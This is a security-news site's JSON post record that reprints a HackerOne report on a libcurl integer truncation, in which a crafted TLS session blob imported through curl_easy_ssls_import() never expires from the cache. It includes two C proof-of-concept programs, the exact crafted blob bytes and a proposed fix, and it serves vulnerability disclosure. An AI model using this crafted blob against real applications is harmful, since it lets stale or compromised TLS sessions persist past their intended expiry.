{"id":42812,"date":"2026-04-12T02:19:04","date_gmt":"2026-04-12T02:19:04","guid":{"rendered":"http:\/\/localhost\/?p=42812"},"modified":"2026-04-12T02:19:04","modified_gmt":"2026-04-12T02:19:04","slug":"curl-libcurl-integer-truncation-in-curleasysslsimport-causes-tls-sessions-to-never-expire","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=42812","title":{"rendered":"curl: libcurl: Integer truncation in curl_easy_ssls_import() causes TLS sessions to never expire_H1:3658049"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-09T06:29:18&#8243;,&#8221;description&#8221;:&#8221;## Summary:\\n`curl_easy_ssls_import()` deserializes a TLS session blob and stores it in the in-memory session cache. In `Curl_ssl_session_unpack()` (`lib\/vtls\/vtls_spack.c:311`), the `valid_until` field is read as `uint64_t` and cast directly to `curl_off_t` (`int64_t`) with no bounds check \u2014 so a crafted blob encoding `valid_until = 0xFFFFFFFFFFFFFFFF` produces `valid_until = -1` after the cast. The import path (`Curl_ssl_session_import` \u2192 `cf_scache_peer_add_session`) stores the session directly, bypassing the `valid_until \\u003c= 0` reset that the normal add path (`cf_scache_add_session`) applies. The expiry predicate `(valid_until \\u003e 0) \\u0026\\u0026 (valid_until \\u003c now)` then evaluates `(-1 \\u003e 0) = FALSE`, so the session is never evicted from the cache. Additionally, `curl_easy_ssls_export()` returns `CURLE_BAD_FUNCTION_ARGUMENT` for this session (the pack side rejects `valid_until \\u003c 0`), leaving it permanently stuck in-memory yet still retrievable for TLS resumption via `Curl_ssl_scache_take()`.\\n\\n\\u003e **AI Disclosure:** This report was produced with AI assistance. All findings were verified by running the proof-of-concept against libcurl 8.19.0 source code.\\n\\n## Affected version\\n\\n&#8220;`\\nlibcurl\/8.19.0-DEV OpenSSL\/3.5.5 zlib\/1.3.1 brotli\/1.1.0 zstd\/1.5.7 nghttp2\/1.64.0\\nLinux x86_64\\nFeature gate: USE_SSLS_EXPORT (enabled by default with OpenSSL, GnuTLS, wolfSSL, mbedTLS)\\nIntroduced in: curl 8.12.0 (when curl_easy_ssls_import was added)\\n&#8220;`\\n\\n## Steps To Reproduce:\\n\\n### Option A \u2014 Standalone (no libcurl build required)\\n\\nCompiles and runs without any libcurl dependency. Proves the cast and expiry logic in isolation.\\n\\n&#8220;`c\\n\/\/ Save as poc_standalone.c\\n\/\/ Build: gcc -DSTANDALONE -o poc poc_standalone.c \\u0026\\u0026 .\/poc\\n#include \\u003cstdio.h\\u003e\\n#include \\u003cstdint.h\\u003e\\n#include \\u003ctime.h\\u003e\\n\\nstatic int expiry_check(int64_t valid_until, int64_t now) {\\n    \/* exact copy of cf_scache_session_expired() \u2014 vtls_scache.c:501 *\/\\n    return (valid_until \\u003e 0) \\u0026\\u0026 (valid_until \\u003c now);\\n}\\n\\nint main(void) {\\n    int64_t now = (int64_t)time(NULL);\\n\\n    \/* attacker sets VALID_UNTIL = 0xFFFFFFFFFFFFFFFF in blob *\/\\n    uint64_t evil_u64    = 0xFFFFFFFFFFFFFFFFULL;\\n    int64_t  evil_i64    = (int64_t)evil_u64;   \/* vtls_spack.c:311 \u2014 no check *\/\\n\\n    printf(\\&#8221;val64 in blob : 0x%016llx\\\\n\\&#8221;, (unsigned long long)evil_u64);\\n    printf(\\&#8221;valid_until   : %lld  (wraps to -1)\\\\n\\&#8221;, (long long)evil_i64);\\n    printf(\\&#8221;(-1 \\u003e 0)      : %s \u2192 session NEVER expires\\\\n\\&#8221;,\\n           (evil_i64 \\u003e 0) ? \\&#8221;TRUE\\&#8221; : \\&#8221;FALSE\\&#8221;);\\n    printf(\\&#8221;expired?      : %s\\\\n\\&#8221;,\\n           expiry_check(evil_i64, now) ? \\&#8221;YES\\&#8221; : \\&#8221;NO  \u2190 BUG\\&#8221;);\\n    return 0;\\n}\\n&#8220;`\\n\\n**Expected output:**\\n&#8220;`\\nval64 in blob : 0xffffffffffffffff\\nvalid_until   : -1  (wraps to -1)\\n(-1 \\u003e 0)      : FALSE \u2192 session NEVER expires\\nexpired?      : NO  \u2190 BUG\\n&#8220;`\\n\\n&#8212;\\n\\n### Option B \u2014 Full libcurl PoC\\n\\nRequires libcurl \u2265 8.12.0 built with `USE_SSLS_EXPORT`.\\n\\n**Crafted blob (24 bytes, TLV big-endian as defined in `vtls_spack.c`):**\\n&#8220;`\\n01                         \u2190 CURL_SPACK_VERSION marker (0x01)\\n04  00 08                  \u2190 CURL_SPACK_TICKET tag + uint16 length = 8\\nDE AD BE EF CA FE BA BE    \u2190 8 bytes dummy ticket data\\n02  03 04                  \u2190 CURL_SPACK_IETF_ID tag + uint16 = 0x0304 (TLS 1.3)\\n03                         \u2190 CURL_SPACK_VALID_UNTIL tag\\nFF FF FF FF FF FF FF FF    \u2190 uint64 big-endian = UINT64_MAX \u2192 int64 = -1\\n&#8220;`\\n\\n&#8220;`c\\n\/\/ Save as poc.c\\n\/\/ Build: gcc -o poc poc.c -lcurl \\u0026\\u0026 .\/poc\\n#include \\u003cstdio.h\\u003e\\n#include \\u003ccurl\/curl.h\\u003e\\n\\nstatic const unsigned char crafted_blob[] = {\\n    0x01,\\n    0x04, 0x00, 0x08, 0xde, 0xad, 0xbe, 0xef, 0xca, 0xfe, 0xba, 0xbe,\\n    0x02, 0x03, 0x04,\\n    0x03, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff\\n};\\n\\nint main(void) {\\n    CURL  *curl;\\n    CURLSH *share;\\n    CURLcode rc;\\n\\n    curl_global_init(CURL_GLOBAL_DEFAULT);\\n\\n    \/* share needed to initialise the TLS session cache (ssl_scache) *\/\\n    share = curl_share_init();\\n    curl_share_setopt(share, CURLSHOPT_SHARE, CURL_LOCK_DATA_SSL_SESSION);\\n\\n    curl = curl_easy_init();\\n    curl_easy_setopt(curl, CURLOPT_SHARE, share);\\n\\n    rc = curl_easy_ssls_import(curl,\\n                               \\&#8221;example.com:443:G\\&#8221;,  \/* global peer key *\/\\n                               NULL, 0,\\n                               crafted_blob, sizeof(crafted_blob));\\n\\n    printf(\\&#8221;curl_easy_ssls_import: %d (%s)\\\\n\\&#8221;, rc, curl_easy_strerror(rc));\\n    \/* Expected: 0 (No error) \u2014 blob accepted, session stored with valid_until=-1 *\/\\n\\n    curl_easy_cleanup(curl);\\n    curl_share_cleanup(share);\\n    curl_global_cleanup();\\n    return rc;\\n}\\n&#8220;`\\n\\n**Expected output (vulnerable build):**\\n&#8220;`\\ncurl_easy_ssls_import: 0 (No error)\\n&#8220;`\\n\\nThe session is now in the TLS cache with `valid_until = -1`. It survives every subsequent call to `cf_scache_peer_remove_expired()` because `(-1 \\u003e 0) = FALSE`. It is also un-exportable \u2014 `curl_easy_ssls_export()` returns `CURLE_BAD_FUNCTION_ARGUMENT` (43) for it because `Curl_ssl_session_pack()` rejects `valid_until \\u003c 0` \u2014 leaving it permanently irremovable while still being served to servers via `Curl_ssl_scache_take()`.\\n\\n&#8212;\\n\\n### Relevant source locations\\n\\n| File | Line | Note |\\n|&#8212;&#8212;|&#8212;&#8212;|&#8212;&#8212;|\\n| `lib\/vtls\/vtls_spack.c` | 311 | `s-\\u003evalid_until = (curl_off_t)val64;` \u2014 missing bounds check |\\n| `lib\/vtls\/vtls_spack.c` | 199 | Pack side rejects `\\u003c 0`, unpack side does not |\\n| `lib\/vtls\/vtls_scache.c` | 501 | `(valid_until \\u003e 0) \\u0026\\u0026 (valid_until \\u003c now)` \u2014 negative bypasses |\\n| `lib\/vtls\/vtls_scache.c` | 796 | Normal add path resets `\\u003c= 0` \u2014 import path skips this |\\n| `lib\/vtls\/vtls_scache.c` | 1127 | Import calls `cf_scache_peer_add_session` directly, no reset |\\n\\n### Proposed fix\\n\\n&#8220;`c\\n\/* vtls_spack.c, after spack_dec64 call in CURL_SPACK_VALID_UNTIL case *\/\\nif(val64 \\u003e (uint64_t)CURL_OFF_T_MAX) {\\n    r = CURLE_READ_ERROR;\\n    goto out;\\n}\\ns-\\u003evalid_until = (curl_off_t)val64;\\n&#8220;`\\n\\n## Impact\\n\\nAn attacker who can write to the session blob passed to curl_easy_ssls_import() \u2014 for example by tampering with a session persistence file on disk \u2014 can inject a TLS session with valid_until = -1. This session is never evicted from the in-memory TLS cache (expiry check always FALSE) and cannot be cleaned up via re-export. If the injected ticket corresponds to a revoked or compromised TLS session, libcurl will continue offering it for TLS session resumption indefinitely, bypassing the intended expiry-based eviction. Applications most at risk are those that persist TLS sessions to disk across process restarts with weak file permission controls on the session store.&#8221;,&#8221;published&#8221;:&#8221;2026-04-08T13:18:59&#8243;,&#8221;modified&#8221;:&#8221;2026-04-09T05:49:37&#8243;,&#8221;type&#8221;:&#8221;hackerone&#8221;,&#8221;title&#8221;:&#8221;curl: libcurl: Integer truncation in curl_easy_ssls_import() causes TLS sessions to never expire&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;H1:3658049&#8243;,&#8221;bulletinFamily&#8221;:&#8221;bugbounty&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;&#8221;,&#8221;sourceHref&#8221;:&#8221;&#8221;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/hackerone.com\/reports\/3658049&#8243;,&#8221;category_name&#8221;:&#8221;News&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2026-04-09T06:29:18&#8243;,&#8221;description&#8221;:&#8221;## Summary:\\n`curl_easy_ssls_import()` deserializes a TLS session blob and stores it in the in-memory session cache. In `Curl_ssl_session_unpack()` (`lib\/vtls\/vtls_spack.c:311`), the `valid_until` field is read as `uint64_t`&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[4],"tags":[6,8,12,117,13,33,7,11,5],"class_list":["post-42812","post","type-post","status-publish","format-standard","hentry","category-category_news","tag-cve","tag-cvss","tag-exploit","tag-hackerone","tag-news","tag-none","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>curl: libcurl: Integer truncation in curl_easy_ssls_import() causes TLS sessions to never expire_H1:3658049 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=42812\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"curl: libcurl: Integer truncation in curl_easy_ssls_import() causes TLS sessions to never expire_H1:3658049 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2026-04-09T06:29:18&#8243;,&#8221;description&#8221;:&#8221;## Summary:n`curl_easy_ssls_import()` deserializes a TLS session blob and stores it in the in-memory session cache. In `Curl_ssl_session_unpack()` (`lib\/vtls\/vtls_spack.c:311`), the `valid_until` field is read as `uint64_t`...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=42812\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2026-04-12T02:19:04+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"6 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42812#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42812\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"curl: libcurl: Integer truncation in curl_easy_ssls_import() causes TLS sessions to never expire_H1:3658049\",\"datePublished\":\"2026-04-12T02:19:04+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42812\"},\"wordCount\":1218,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"hackerone\",\"news\",\"NONE\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_news\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=42812#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42812\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42812\",\"name\":\"curl: libcurl: Integer truncation in curl_easy_ssls_import() causes TLS sessions to never expire_H1:3658049 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2026-04-12T02:19:04+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42812#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=42812\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=42812#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"curl: libcurl: Integer truncation in curl_easy_ssls_import() causes TLS sessions to never expire_H1:3658049\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"curl: libcurl: Integer truncation in curl_easy_ssls_import() causes TLS sessions to never expire_H1:3658049 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=42812","og_locale":"en_US","og_type":"article","og_title":"curl: libcurl: Integer truncation in curl_easy_ssls_import() causes TLS sessions to never expire_H1:3658049 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2026-04-09T06:29:18&#8243;,&#8221;description&#8221;:&#8221;## Summary:n`curl_easy_ssls_import()` deserializes a TLS session blob and stores it in the in-memory session cache. In `Curl_ssl_session_unpack()` (`lib\/vtls\/vtls_spack.c:311`), the `valid_until` field is read as `uint64_t`...","og_url":"https:\/\/zero.redgem.net\/?p=42812","og_site_name":"zero redgem","article_published_time":"2026-04-12T02:19:04+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"6 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=42812#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=42812"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"curl: libcurl: Integer truncation in curl_easy_ssls_import() causes TLS sessions to never expire_H1:3658049","datePublished":"2026-04-12T02:19:04+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=42812"},"wordCount":1218,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","hackerone","news","NONE","Security","tapic","Vulnerability"],"articleSection":["category_news"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=42812#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=42812","url":"https:\/\/zero.redgem.net\/?p=42812","name":"curl: libcurl: Integer truncation in curl_easy_ssls_import() causes TLS sessions to never expire_H1:3658049 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2026-04-12T02:19:04+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=42812#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=42812"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=42812#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"curl: libcurl: Integer truncation in curl_easy_ssls_import() causes TLS sessions to never expire_H1:3658049"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/42812","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=42812"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/42812\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=42812"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=42812"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=42812"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}